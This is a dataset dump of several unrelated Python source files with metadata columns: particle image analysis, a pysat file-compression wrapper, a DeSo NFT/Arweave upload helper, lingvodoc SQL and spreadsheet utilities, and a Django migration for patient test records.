text += "\nMean shape factor of particles: "+str(meanData['pfcirc'])
return text
def evaluate_images(inputPath):
"""
Filters images and analyses them.
"""
start = default_timer()
resultDir = inputPath+"/"+_NAME_OF_CREATED_DIRECTORY
if not path_file.isdir(resultDir):
mkdir(resultDir)
resultDir += "/"
outputString = []
outputNumbers = []
for i, imageName in enumerate(listdir(inputPath)):
# read image
pathName = path_file.join(inputPath, imageName)
image = cv2.imread(pathName)
if image is None:
continue
print "\nImage:", imageName
name = ".".join(imageName.split(".")[:-1])
outputNumbers.append(imageName)
print "Filter in progress...",
dilated = filterImage(image)
print "done!"
# segmentation with watershed
print "Detecting particles...",
connectedParticles, segmented, maxima = segmentationize(dilated)
newlabels, fw, inv = relabel_sequential(segmented, offset=10)
particleNum = len(fw)
print "done!"
# indicate discovered particles
integratedMax = newlabels.copy()
maxima1 = ndimage.binary_dilation(maxima, iterations=6).astype(maxima.dtype)
integratedMax[maxima1] = (newlabels.max() + 50)
Shift = (integratedMax != 0)
integratedMax[Shift] += 20
binary = integratedMax > 0
plt.imsave(resultDir+name+"_"+_NAME_OF_PARTICLES_IMAGE, integratedMax, cmap=plt.cm.spectral)
saveEdges(binary, resultDir+name)
# evaluate the particles
fs, so, particleArea, particleFcirc = analyseParticles(connectedParticles, binary, newlabels, particleNum)
diameter = ( particleArea * (4. / np.pi)) ** 0.5 # estimate diameter
# evaluate the clusters
print "Detecting clusters...",
clusterImage, clusterData, clusterNum = analyseClusters(binary, newlabels)
plt.imsave(resultDir+name+"_"+_NAME_OF_CLUSTER_IMAGE, clusterImage, cmap=plt.cm.spectral)
print "done!"
# histograms
print "Create histograms...",
histoData = getHistoData(diameter, particleArea, clusterData, particleFcirc)
shapeData, numbersText = saveHistos(histoData, resultDir, name)
outputNumbers.append(numbersText)
print "done!"
# information for the text file
meanData = getMeanData(diameter, clusterData, particleFcirc)
text = getText(imageName, particleNum, clusterNum, so, fs, meanData, shapeData)
outputString.append(text)
# write data into text file
file = open(resultDir+_NAME_OF_CREATED_TEXTFILE+".txt", "w")
print >> file, "\n\n".join(outputString)
file.close()
file2 = open(resultDir+_NAME_OF_CREATED_TEXTFILE2+".txt", "w")
print >> file2, "\n\n".join(outputNumbers)
file2.close()
print "Time:", default_timer() - start
if __name__ == "__main__":
from Tkinter import Tk
from tkFileDialog import askdirectory
Tk().withdraw()
directory = askdirectory(initialdir=_PATH_TO_DEFAULT_DIRECTORY_FOR_THE_DIALOG)
print(directory)
if directory != "" and not path_file.isdir(directory):
print "\n\nThe specified directory doesn't exist!\n"
elif directory != "":
evaluate_images(directory) | en | 0.729041 | # -*- coding: utf-8 -*- #! /usr/bin/python #--------------------------- modifiable constants ----------------------------- #------------------------------------------------------------------------------ #measure Filters the given image and returns a binary representation of it. # otsu to bring out edges # bring out single particles and smooth the rest # remove pollution # black and white representation of particles and surroundings # dilatation and erosion Returns an array with an boolean circle with a diameter of val. Divides coherent forms of an image in smaller groups of type integer. # create an matrix of distances to the next sourrounding area # draw circle area # find the positions of the maxima from the distances # watershed algorithm starts at the maxima and returns labels of particles # avoid warning in watershed method Creates an image where you only see the edges of the particles. # horizontal derivative # vertical derivative # magnitude Calculates the solid fraction and the specific surface. # count pixel per particle # get shape factor of particles # contours[0] because there is only 1 contour # conversion factor between pixel and µm² # determine perimeter # contours[0] because there is only 1 contour Calculates the sizes and porosities of the clusters. # dilate particles to find cluster # cluster area and porosity # porosity can not be less than 0 # circumference # fcirc can not be greater than 1 # indicate discovered clusters # to get the right colours Returns all Data needed to create the histograms. Helper function for createHisto. Generates one histogram of the given data. # set min and max values to return # 'best fit' line # Fit a curve to the variates # scaling # plot functions # avoid warning in this method # position the legend Creates histos from the given data and saves them in the specified directory. Calculates the mean values and returns a dictionary containing these. Generates a string for the textfile. Filters images and analyses them. # read image # segmentation with watershed # indicate discovered particles # evaluate the particles # estimate diameter # evaluate the clusters # histograms # information for the text file # write data into text file | 2.365985 | 2 |
pysat/_fileio.py | brandhsn/pysat | 267 | 6616236 | <gh_stars>100-1000
#!/usr/bin/env python
#-*- coding:utf-8 -*-
##
## _fileio.py
##
## Created on: Aug 18, 2018
## Author: <NAME>
## E-mail: <EMAIL>
##
"""
===============
List of classes
===============
.. autosummary::
:nosignatures:
FileObject
==================
Module description
==================
This simple module provides a basic interface to input/output operations on
files. Its key design feature is the ability to work with both uncompressed
and compressed files through a unified interface, thus, making it easier
for a user to deal with various types of compressed files. The compression
types supported include gzip, bzip2, and lzma (xz).
The module is supposed to be mainly used by :mod:`pysat.formula`.
A simple usage example is the following:
.. code-block:: python
>>> from pysat._fileio import FileObject
>>>
>>> with FileObject(name='formula.cnf', mode='r') as fp1:
... contents1 = fp1.readlines()
>>>
>>> with FileObject(name='filename.txt.gz', compression='use_ext') as fp2:
... contents2 = fp2.readlines()
>>>
>>> with FileObject(name='f.txt.bz2', mode='w', compression='bzip2') as fp3:
... fp3.write('hello, world!\n')
==============
Module details
==============
"""
#
#==============================================================================
import bz2
import codecs
import gzip
import os
lzma_present = True
try: # for Python3
import lzma
except ImportError:
try: # for Python2 + backports.lzma installed
from backports import lzma
except ImportError: # for Python2 without lzma
lzma_present = False
#
#==============================================================================
class FileObject(object):
"""
Auxiliary class for convenient and uniform file manipulation, e.g. to
open files creating standard file pointers and closing them. The class
is used when opening DIMACS files for reading and writing. Supports
both uncompressed and compressed files. Compression algorithms
supported are ``gzip``, ``bzip2``, and ``lzma``. Algorithm ``lzma`` can
be used in Python 3 by default and also in Python 2 if the
``backports.lzma`` package is installed.
Note that the class opens a file in text mode.
:param name: a file name to open
:param mode: opening mode
:param compression: compression type
:type name: str
:type mode: str
:type compression: str
Compression type can be ``None``, ``'gzip'``, ``'bzip2'``, ``'lzma'``,
as well as ``'use_ext'``. If ``'use_ext'`` is specified, compression
algorithm is defined by the extension of the given file name.
"""
def __init__(self, name, mode='r', compression=None):
"""
Constructor.
"""
self.fp = None # file pointer to give access to
self.ctype = None # compression type
# in some cases an additional file pointer is needed
self.fp_extra = None
self.open(name, mode=mode, compression=compression)
def open(self, name, mode='r', compression=None):
"""
Open a file pointer. Note that a file is *always* opened in text
mode. The method inherits its input parameters from the constructor
of :class:`FileObject`.
"""
if compression == 'use_ext':
self.get_compression_type(name)
else:
self.ctype = compression
if not self.ctype:
self.fp = open(name, mode)
elif self.ctype == 'gzip':
self.fp = gzip.open(name, mode + 't')
elif self.ctype == 'bzip2':
try:
# Python 3 supports opening bzip2 files in text mode
# therefore, we prefer to open them this way
self.fp = bz2.open(name, mode + 't')
except:
# BZ2File opens a file in binary mode
# thus, we have to use codecs.getreader()
# to be able to use it in text mode
self.fp_extra = bz2.BZ2File(name, mode)
if mode == 'r':
self.fp = codecs.getreader('ascii')(self.fp_extra)
else: # mode == 'w'
self.fp = codecs.getwriter('ascii')(self.fp_extra)
else: # self.ctype == 'lzma'
# LZMA is available in Python 2 only if backports.lzma is installed
# Python 3 supports it by default
assert lzma_present, 'LZMA compression is unavailable.'
self.fp = lzma.open(name, mode=mode + 't')
def close(self):
"""
Close a file pointer.
"""
if self.fp:
self.fp.close()
self.fp = None
if self.fp_extra:
self.fp_extra.close()
self.fp_extra = None
self.ctype = None
def get_compression_type(self, file_name):
"""
Determine compression type for a given file using its extension.
:param file_name: a given file name
:type file_name: str
"""
ext = os.path.splitext(file_name)[1]
if ext == '.gz':
self.ctype = 'gzip'
elif ext == '.bz2':
self.ctype = 'bzip2'
elif ext in ('.xz', '.lzma'):
self.ctype = 'lzma'
else:
self.ctype = None
def __enter__(self):
"""
'with' constructor.
"""
return self
def __exit__(self, exc_type, exc_value, traceback):
"""
'with' destructor.
"""
self.close()
| #!/usr/bin/env python
#-*- coding:utf-8 -*-
##
## _fileio.py
##
## Created on: Aug 18, 2018
## Author: <NAME>
## E-mail: <EMAIL>
##
"""
===============
List of classes
===============
.. autosummary::
:nosignatures:
FileObject
==================
Module description
==================
This simple module provides a basic interface to input/output operations on
files. Its key design feature is the ability to work with both uncompressed
and compressed files through a unified interface, thus, making it easier
for a user to deal with various types of compressed files. The compression
types supported include gzip, bzip2, and lzma (xz).
The module is supposed to be mainly used by :mod:`pysat.formula`.
A simple usage example is the following:
.. code-block:: python
>>> from pysat._fileio import FileObject
>>>
>>> with FileObject(name='formula.cnf', mode='r') as fp1:
... contents1 = fp1.readlines()
>>>
>>> with FileObject(name='filename.txt.gz', compression='use_ext') as fp2:
... contents2 = fp2.readlines()
>>>
>>> with FileObject(name='f.txt.bz2', mode='w', compression='bzip2') as fp3:
... fp3.write('hello, world!\n')
==============
Module details
==============
"""
#
#==============================================================================
import bz2
import codecs
import gzip
import os
lzma_present = True
try: # for Python3
import lzma
except ImportError:
try: # for Python2 + backports.lzma installed
from backports import lzma
except ImportError: # for Python2 without lzma
lzma_present = False
#
#==============================================================================
class FileObject(object):
"""
Auxiliary class for convenient and uniform file manipulation, e.g. to
open files creating standard file pointers and closing them. The class
is used when opening DIMACS files for reading and writing. Supports
both uncompressed and compressed files. Compression algorithms
supported are ``gzip``, ``bzip2``, and ``lzma``. Algorithm ``lzma`` can
be used in Python 3 by default and also in Python 2 if the
``backports.lzma`` package is installed.
Note that the class opens a file in text mode.
:param name: a file name to open
:param mode: opening mode
:param compression: compression type
:type name: str
:type mode: str
:type compression: str
Compression type can be ``None``, ``'gzip'``, ``'bzip2'``, ``'lzma'``,
as well as ``'use_ext'``. If ``'use_ext'`` is specified, compression
algorithm is defined by the extension of the given file name.
"""
def __init__(self, name, mode='r', compression=None):
"""
Constructor.
"""
self.fp = None # file pointer to give access to
self.ctype = None # compression type
# in some cases an additional file pointer is needed
self.fp_extra = None
self.open(name, mode=mode, compression=compression)
def open(self, name, mode='r', compression=None):
"""
Open a file pointer. Note that a file is *always* opened in text
mode. The method inherits its input parameters from the constructor
of :class:`FileObject`.
"""
if compression == 'use_ext':
self.get_compression_type(name)
else:
self.ctype = compression
if not self.ctype:
self.fp = open(name, mode)
elif self.ctype == 'gzip':
self.fp = gzip.open(name, mode + 't')
elif self.ctype == 'bzip2':
try:
# Python 3 supports opening bzip2 files in text mode
# therefore, we prefer to open them this way
self.fp = bz2.open(name, mode + 't')
except:
# BZ2File opens a file in binary mode
# thus, we have to use codecs.getreader()
# to be able to use it in text mode
self.fp_extra = bz2.BZ2File(name, mode)
if mode == 'r':
self.fp = codecs.getreader('ascii')(self.fp_extra)
else: # mode == 'w'
self.fp = codecs.getwriter('ascii')(self.fp_extra)
else: # self.ctype == 'lzma'
# LZMA is available in Python 2 only if backports.lzma is installed
# Python 3 supports it by default
assert lzma_present, 'LZMA compression is unavailable.'
self.fp = lzma.open(name, mode=mode + 't')
def close(self):
"""
Close a file pointer.
"""
if self.fp:
self.fp.close()
self.fp = None
if self.fp_extra:
self.fp_extra.close()
self.fp_extra = None
self.ctype = None
def get_compression_type(self, file_name):
"""
Determine compression type for a given file using its extension.
:param file_name: a given file name
:type file_name: str
"""
ext = os.path.splitext(file_name)[1]
if ext == '.gz':
self.ctype = 'gzip'
elif ext == '.bz2':
self.ctype = 'bzip2'
elif ext in ('.xz', '.lzma'):
self.ctype = 'lzma'
else:
self.ctype = None
def __enter__(self):
"""
'with' constructor.
"""
return self
def __exit__(self, exc_type, exc_value, traceback):
"""
'with' destructor.
"""
self.close() | en | 0.788494 | #!/usr/bin/env python #-*- coding:utf-8 -*- ## ## _fileio.py ## ## Created on: Aug 18, 2018 ## Author: <NAME> ## E-mail: <EMAIL> ## =============== List of classes =============== .. autosummary:: :nosignatures: FileObject ================== Module description ================== This simple module provides a basic interface to input/output operations on files. Its key design feature is the ability to work with both uncompressed and compressed files through a unified interface, thus, making it easier for a user to deal with various types of compressed files. The compression types supported include gzip, bzip2, and lzma (xz). The module is supposed to be mainly used by :mod:`pysat.formula`. A simple usage example is the following: .. code-block:: python >>> from pysat._fileio import FileObject >>> >>> with FileObject(name='formula.cnf', mode='r') as fp1: ... contents1 = fp1.readlines() >>> >>> with FileObject(name='filename.txt.gz', compression='use_ext') as fp2: ... contents2 = fp2.readlines() >>> >>> with FileObject(name='f.txt.bz2', mode='w', compression='bzip2') as fp3: ... fp3.write('hello, world!\n') ============== Module details ============== # #============================================================================== # for Python3 # for Python2 + backports.lzma installed # for Python2 without lzma # #============================================================================== Auxiliary class for convenient and uniform file manipulation, e.g. to open files creating standard file pointers and closing them. The class is used when opening DIMACS files for reading and writing. Supports both uncompressed and compressed files. Compression algorithms supported are ``gzip``, ``bzip2``, and ``lzma``. Algorithm ``lzma`` can be used in Python 3 by default and also in Python 2 if the ``backports.lzma`` package is installed. Note that the class opens a file in text mode. :param name: a file name to open :param mode: opening mode :param compression: compression type :type name: str :type mode: str :type compression: str Compression type can be ``None``, ``'gzip'``, ``'bzip2'``, ``'lzma'``, as well as ``'use_ext'``. If ``'use_ext'`` is specified, compression algorithm is defined by the extension of the given file name. Constructor. # file pointer to give access to # compression type # in some cases an additional file pointer is needed Open a file pointer. Note that a file is *always* opened in text mode. The method inherits its input parameters from the constructor of :class:`FileObject`. # Python 3 supports opening bzip2 files in text mode # therefore, we prefer to open them this way # BZ2File opens a file in binary mode # thus, we have to use codecs.getreader() # to be able to use it in text mode # mode == 'w' # self.ctype == 'lzma' # LZMA is available in Python 2 only if backports.lzma is installed # Python 3 supports it by default Close a file pointer. Determine compression type for a given file using its extension. :param file_name: a given file name :type file_name: str 'with' constructor. 'with' destructor. | 2.708784 | 3 |
deso/Nft.py | kennyjacobson/DeSo.py | 0 | 6616237 | import requests
import json
from deso.Route import getRoute
from arweave.arweave_lib import Wallet, Transaction
from arweave.transaction_uploader import get_uploader
import arweave
import logging
import pathlib
from deso.Sign import Sign_Transaction
class Nft:
def __init__(self, seedHex, publicKey):
self.SEED_HEX = seedHex
self.PUBLIC_KEY = publicKey
def getNFT(postHashHex):
payload = {"ReaderPublicKeyBase58Check": "<KEY>",
"PostHashHex": postHashHex}
ROUTE = getRoute()
endpointURL = ROUTE + "get-nft-entries-for-nft-post"
response = requests.post(endpointURL, json=payload)
return response.json()
def uploadToArweave(wallet, image):
wallet = arweave.Wallet(wallet)
with open(image, "rb", buffering=0) as file_handler:
tx = Transaction(
wallet, file_handler=file_handler, file_path=image)
file_extension = pathlib.Path(image).suffix
type = str(file_extension[1:])
tx.add_tag('Content-Type', 'image/' + type)
tx.sign()
uploader = get_uploader(tx, file_handler)
while not uploader.is_complete:
uploader.upload_chunk()
tx.send()
image_id = str(tx.id)
transaction_id = wallet.get_last_transaction_id()
build_url = 'https://' + \
transaction_id[1:] + '.arweave.net/' + image_id
return build_url
| import requests
import json
from deso.Route import getRoute
from arweave.arweave_lib import Wallet, Transaction
from arweave.transaction_uploader import get_uploader
import arweave
import logging
import pathlib
from deso.Sign import Sign_Transaction
class Nft:
def __init__(self, seedHex, publicKey):
self.SEED_HEX = seedHex
self.PUBLIC_KEY = publicKey
def getNFT(postHashHex):
payload = {"ReaderPublicKeyBase58Check": "<KEY>",
"PostHashHex": postHashHex}
ROUTE = getRoute()
endpointURL = ROUTE + "get-nft-entries-for-nft-post"
response = requests.post(endpointURL, json=payload)
return response.json()
def uploadToArweave(wallet, image):
wallet = arweave.Wallet(wallet)
with open(image, "rb", buffering=0) as file_handler:
tx = Transaction(
wallet, file_handler=file_handler, file_path=image)
file_extension = pathlib.Path(image).suffix
type = str(file_extension[1:])
tx.add_tag('Content-Type', 'image/' + type)
tx.sign()
uploader = get_uploader(tx, file_handler)
while not uploader.is_complete:
uploader.upload_chunk()
tx.send()
image_id = str(tx.id)
transaction_id = wallet.get_last_transaction_id()
build_url = 'https://' + \
transaction_id[1:] + '.arweave.net/' + image_id
return build_url
| none | 1 | 2.235822 | 2 | |
lingvodoc/utils/__init__.py | SegFaulti4/lingvodoc | 5 | 6616238 |
__author__ = 'student'
import os
import re
try:
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
except:
pass
from sqlalchemy.ext.compiler import compiles
from sqlalchemy.sql.expression import Executable, ClauseElement, _literal_as_text
class explain(Executable, ClauseElement):
"""
PostgreSQL EXPLAIN [ANALYZE] for queries, example:
query = DBSession.query(...)
log.debug(''.join(
'\n' + row[0] for row in
session.execute(explain(query)).fetchall()))
See also in lingvodoc/scripts/save_dictionary.py.
Mostly copied from
https://github.com/sqlalchemy/sqlalchemy/wiki/Explain.
"""
def __init__(
self,
statement,
analyze = False):
self.statement = _literal_as_text(statement)
self.analyze = analyze
# Apparently helps with INSERT statements.
self.inline = getattr(
statement, 'inline', None)
@compiles(explain, 'postgresql')
def pg_explain(element, compiler, **kwargs):
"""
Compilation of EXPLAIN [ANALYZE] query for PostgreSQL backend.
"""
text = "EXPLAIN "
if element.analyze:
text += "ANALYZE "
text += compiler.process(element.statement, **kwargs)
# Allow EXPLAIN for INSERT / UPDATE / DELETE, turn off compiler flags that would otherwise start
# treating this like INSERT / UPDATE / DELETE (gets confused with RETURNING or autocloses cursor
# which we don't want).
compiler.isinsert = False
compiler.isupdate = False
compiler.isdelete = False
return text
@compiles(explain)
def default_explain(element, compiler, **kwargs):
"""
Default compilation handler, e.g. for str(explain(query)).
"""
return pg_explain(element, compiler, **kwargs)
def explain_analyze(statement):
"""
Helper wrapper for EXPLAIN ANALYZE.
"""
return explain(statement, analyze = True)
def get_resident_memory():
"""
Returns curren resident memory size of the process.
See
https://stackoverflow.com/questions/938733/total-memory-used-by-python-process,
http://fa.bianp.net/blog/2013/different-ways-to-get-memory-consumption-or-lessons-learned-from-memory_profiler/,
https://github.com/giampaolo/psutil/blob/386a9288fc854626c96eb32d1a5bdd3f7f260b12/psutil/_pslinux.py#L1733.
"""
with open('/proc/self/statm', 'rb') as statm_file:
return int(statm_file.readline().split()[1]) * PAGE_SIZE
#: Standard list of languages for grouping, see lingvodoc-react,
# src/pages/Home/components/LangsNav/index.js, languageIdList.
#
# NOTE: if the languageIdList in lingvodoc-react changes, this list must also be updated accordingly.
#
standard_language_id_list = [
(1574, 116655), # Altai
(33, 88), # Altai language
(252, 40), # Altai-Kizhi dialect
(1076, 4), # Altaic family
(1574, 269058), # Azeric
(1068, 5), # Baltic-Finnish
(500, 121), # Bashkir
(1076, 22), # Buryat language
(33, 90), # Chalkan dialect
(216, 8), # Chulym
(1574, 272286), # Chuvash
(295, 8), # Chuvash language
(1100, 4), # <NAME>
(1105, 28), # Dolgan language
(508, 49), # Enets
(508, 39), # Erzya
(633, 23), # Evenki
(1552, 1252), # Finnish
(508, 46), # Hungarian
(1733, 13468), # Izhor
(1501, 42640), # Japonic languages
(1501, 42646), # Japonic proper
(1311, 23), # Japono-Koreanic subfamily
(1076, 10), # Kalmyk language
(1552, 652), # Kamas
(508, 37), # Karelian
(500, 124), # Kazakh
(500, 123), # Khakas
(1574, 269111), # Khamnigan Evenki
(508, 44), # Khanty
(508, 42), # Komi
(1076, 119), # Korean
(1574, 99299), # Kur-Urmi Evenki
(1574, 274491), # Manchu branch
(508, 45), # Mansi
(508, 41), # Mari
(508, 40), # Moksha
(1076, 7), # Mongolic languages
(633, 17), # Nanii
(1209, 24), # Negidal
(1209, 20), # Negidal language
(508, 48), # Nenets
(508, 50), # Nganasan
(1088, 612), # Noghai
(1311, 41), # Northern Mongolic
(1574, 203685), # Oghuz
(1479, 599), # Oroch language
(996, 1069), # Orok
(1401, 11742), # Qara-Nogay
(1574, 272495), # Qarachaj-Balkar language
(998, 5), # Qumyq language
(1574, 116715), # Qypčaq branch
(508, 38), # Saami
(508, 47), # Samoyed
(1372, 10768), # Seber-Tatar
(508, 51), # Selkup
(1557, 6), # Shor
(1574, 268977), # Solon language
(500, 122), # Tatar
(65, 2), # Telengit dialect
(1251, 6), # Tofa
(1574, 116679), # Tuba language
(633, 16), # Tungus-Manchu languages
(1002, 12), # Tungusic
(1068, 9), # Turkic languages
(1574, 269088), # Turkish
(1574, 203688), # Turkmenic
(1550, 3373), # Tuva
(508, 43), # Udmurt
(643, 4), # Udyhe language
(33, 89), # Ujguri language
(633, 22), # Ulcha
(508, 36), # Uralic
(840, 6), # Uzbek
(1632, 6), # Veps
(1372, 11240), # Volga Tatar
(2108, 13), # Votic
(1574, 274494), # Xibe
(678, 9), # Yakut
]
standard_language_id_set = set(standard_language_id_list)
def sanitize_worksheet_name(
name,
max_width = 31):
"""
Sanitizes XLSX worksheet name.
See https://support.office.com/en-us/article/Rename-a-worksheet-3F1F7148-EE83-404D-8EF0-9FF99FBAD1F9.
"""
if name.startswith('\''):
name = name[1:]
name = re.sub(
r'\0|\*|/|:|\?|\[|\\|\]', '', name)
name = name[:max_width]
if name.endswith('\''):
name = name[:-1]
if name == 'History':
name = 'History_'
return name
|
__author__ = 'student'
import os
import re
try:
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
except:
pass
from sqlalchemy.ext.compiler import compiles
from sqlalchemy.sql.expression import Executable, ClauseElement, _literal_as_text
class explain(Executable, ClauseElement):
"""
PostgreSQL EXPLAIN [ANALYZE] for queries, example:
query = DBSession.query(...)
log.debug(''.join(
'\n' + row[0] for row in
session.execute(explain(query)).fetchall()))
See also in lingvodoc/scripts/save_dictionary.py.
Mostly copied from
https://github.com/sqlalchemy/sqlalchemy/wiki/Explain.
"""
def __init__(
self,
statement,
analyze = False):
self.statement = _literal_as_text(statement)
self.analyze = analyze
# Apparently helps with INSERT statements.
self.inline = getattr(
statement, 'inline', None)
@compiles(explain, 'postgresql')
def pg_explain(element, compiler, **kwargs):
"""
Compilation of EXPLAIN [ANALYZE] query for PostgreSQL backend.
"""
text = "EXPLAIN "
if element.analyze:
text += "ANALYZE "
text += compiler.process(element.statement, **kwargs)
# Allow EXPLAIN for INSERT / UPDATE / DELETE, turn off compiler flags that would otherwise start
# treating this like INSERT / UPDATE / DELETE (gets confused with RETURNING or autocloses cursor
# which we don't want).
compiler.isinsert = False
compiler.isupdate = False
compiler.isdelete = False
return text
@compiles(explain)
def default_explain(element, compiler, **kwargs):
"""
Default compilation handler, e.g. for str(explain(query)).
"""
return pg_explain(element, compiler, **kwargs)
def explain_analyze(statement):
"""
Helper wrapper for EXPLAIN ANALYZE.
"""
return explain(statement, analyze = True)
def get_resident_memory():
"""
Returns curren resident memory size of the process.
See
https://stackoverflow.com/questions/938733/total-memory-used-by-python-process,
http://fa.bianp.net/blog/2013/different-ways-to-get-memory-consumption-or-lessons-learned-from-memory_profiler/,
https://github.com/giampaolo/psutil/blob/386a9288fc854626c96eb32d1a5bdd3f7f260b12/psutil/_pslinux.py#L1733.
"""
with open('/proc/self/statm', 'rb') as statm_file:
return int(statm_file.readline().split()[1]) * PAGE_SIZE
#: Standard list of languages for grouping, see lingvodoc-react,
# src/pages/Home/components/LangsNav/index.js, languageIdList.
#
# NOTE: if the languageIdList in lingvodoc-react changes, this list must also be updated accordingly.
#
standard_language_id_list = [
(1574, 116655), # Altai
(33, 88), # Altai language
(252, 40), # Altai-Kizhi dialect
(1076, 4), # Altaic family
(1574, 269058), # Azeric
(1068, 5), # Baltic-Finnish
(500, 121), # Bashkir
(1076, 22), # Buryat language
(33, 90), # Chalkan dialect
(216, 8), # Chulym
(1574, 272286), # Chuvash
(295, 8), # Chuvash language
(1100, 4), # <NAME>
(1105, 28), # Dolgan language
(508, 49), # Enets
(508, 39), # Erzya
(633, 23), # Evenki
(1552, 1252), # Finnish
(508, 46), # Hungarian
(1733, 13468), # Izhor
(1501, 42640), # Japonic languages
(1501, 42646), # Japonic proper
(1311, 23), # Japono-Koreanic subfamily
(1076, 10), # Kalmyk language
(1552, 652), # Kamas
(508, 37), # Karelian
(500, 124), # Kazakh
(500, 123), # Khakas
(1574, 269111), # Khamnigan Evenki
(508, 44), # Khanty
(508, 42), # Komi
(1076, 119), # Korean
(1574, 99299), # Kur-Urmi Evenki
(1574, 274491), # Manchu branch
(508, 45), # Mansi
(508, 41), # Mari
(508, 40), # Moksha
(1076, 7), # Mongolic languages
(633, 17), # Nanii
(1209, 24), # Negidal
(1209, 20), # Negidal language
(508, 48), # Nenets
(508, 50), # Nganasan
(1088, 612), # Noghai
(1311, 41), # Northern Mongolic
(1574, 203685), # Oghuz
(1479, 599), # Oroch language
(996, 1069), # Orok
(1401, 11742), # Qara-Nogay
(1574, 272495), # Qarachaj-Balkar language
(998, 5), # Qumyq language
(1574, 116715), # Qypčaq branch
(508, 38), # Saami
(508, 47), # Samoyed
(1372, 10768), # Seber-Tatar
(508, 51), # Selkup
(1557, 6), # Shor
(1574, 268977), # Solon language
(500, 122), # Tatar
(65, 2), # Telengit dialect
(1251, 6), # Tofa
(1574, 116679), # Tuba language
(633, 16), # Tungus-Manchu languages
(1002, 12), # Tungusic
(1068, 9), # Turkic languages
(1574, 269088), # Turkish
(1574, 203688), # Turkmenic
(1550, 3373), # Tuva
(508, 43), # Udmurt
(643, 4), # Udyhe language
(33, 89), # Ujguri language
(633, 22), # Ulcha
(508, 36), # Uralic
(840, 6), # Uzbek
(1632, 6), # Veps
(1372, 11240), # Volga Tatar
(2108, 13), # Votic
(1574, 274494), # Xibe
(678, 9), # Yakut
]
standard_language_id_set = set(standard_language_id_list)
def sanitize_worksheet_name(
name,
max_width = 31):
"""
Sanitizes XLSX worksheet name.
See https://support.office.com/en-us/article/Rename-a-worksheet-3F1F7148-EE83-404D-8EF0-9FF99FBAD1F9.
"""
if name.startswith('\''):
name = name[1:]
name = re.sub(
r'\0|\*|/|:|\?|\[|\\|\]', '', name)
name = name[:max_width]
if name.endswith('\''):
name = name[:-1]
if name == 'History':
name = 'History_'
return name
| en | 0.566213 | PostgreSQL EXPLAIN [ANALYZE] for queries, example: query = DBSession.query(...) log.debug(''.join( '\n' + row[0] for row in session.execute(explain(query)).fetchall())) See also in lingvodoc/scripts/save_dictionary.py. Mostly copied from https://github.com/sqlalchemy/sqlalchemy/wiki/Explain. # Apparently helps with INSERT statements. Compilation of EXPLAIN [ANALYZE] query for PostgreSQL backend. # Allow EXPLAIN for INSERT / UPDATE / DELETE, turn off compiler flags that would otherwise start # treating this like INSERT / UPDATE / DELETE (gets confused with RETURNING or autocloses cursor # which we don't want). Default compilation handler, e.g. for str(explain(query)). Helper wrapper for EXPLAIN ANALYZE. Returns curren resident memory size of the process. See https://stackoverflow.com/questions/938733/total-memory-used-by-python-process, http://fa.bianp.net/blog/2013/different-ways-to-get-memory-consumption-or-lessons-learned-from-memory_profiler/, https://github.com/giampaolo/psutil/blob/386a9288fc854626c96eb32d1a5bdd3f7f260b12/psutil/_pslinux.py#L1733. #: Standard list of languages for grouping, see lingvodoc-react, # src/pages/Home/components/LangsNav/index.js, languageIdList. # # NOTE: if the languageIdList in lingvodoc-react changes, this list must also be updated accordingly. # # Altai # Altai language # Altai-Kizhi dialect # Altaic family # Azeric # Baltic-Finnish # Bashkir # Buryat language # Chalkan dialect # Chulym # Chuvash # Chuvash language # <NAME> # Dolgan language # Enets # Erzya # Evenki # Finnish # Hungarian # Izhor # Japonic languages # Japonic proper # Japono-Koreanic subfamily # Kalmyk language # Kamas # Karelian # Kazakh # Khakas # Khamnigan Evenki # Khanty # Komi # Korean # Kur-Urmi Evenki # Manchu branch # Mansi # Mari # Moksha # Mongolic languages # Nanii # Negidal # Negidal language # Nenets # Nganasan # Noghai # Northern Mongolic # Oghuz # Oroch language # Orok # Qara-Nogay # Qarachaj-Balkar language # Qumyq language # Qypčaq branch # Saami # Samoyed # Seber-Tatar # Selkup # Shor # Solon language # Tatar # Telengit dialect # Tofa # Tuba language # Tungus-Manchu languages # Tungusic # Turkic languages # Turkish # Turkmenic # Tuva # Udmurt # Udyhe language # Ujguri language # Ulcha # Uralic # Uzbek # Veps # Volga Tatar # Votic # Xibe # Yakut Sanitizes XLSX worksheet name. See https://support.office.com/en-us/article/Rename-a-worksheet-3F1F7148-EE83-404D-8EF0-9FF99FBAD1F9. | 2.515501 | 3 |
stphohapp/migrations/0001_initial.py | itechtian/stphoh | 0 | 6616239 | # Generated by Django 3.0.7 on 2020-09-13 16:16
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Patient_info',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first', models.CharField(default='', max_length=55)),
('last', models.CharField(default='', max_length=55)),
('state', models.CharField(default='', max_length=255)),
('age', models.CharField(default='', max_length=15)),
('sex', models.CharField(default='', max_length=15)),
('phone', models.CharField(default='', max_length=15)),
],
),
migrations.CreateModel(
name='test_result',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('hiv_aid', models.CharField(max_length=255, null='True')),
('hepatitis_B', models.CharField(max_length=255, null='True')),
('patient_info', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='stphohapp.Patient_info')),
],
),
]
| # Generated by Django 3.0.7 on 2020-09-13 16:16
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Patient_info',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('first', models.CharField(default='', max_length=55)),
('last', models.CharField(default='', max_length=55)),
('state', models.CharField(default='', max_length=255)),
('age', models.CharField(default='', max_length=15)),
('sex', models.CharField(default='', max_length=15)),
('phone', models.CharField(default='', max_length=15)),
],
),
migrations.CreateModel(
name='test_result',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('hiv_aid', models.CharField(max_length=255, null='True')),
('hepatitis_B', models.CharField(max_length=255, null='True')),
('patient_info', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='stphohapp.Patient_info')),
],
),
]
| en | 0.757263 | # Generated by Django 3.0.7 on 2020-09-13 16:16 | 1.859895 | 2 |
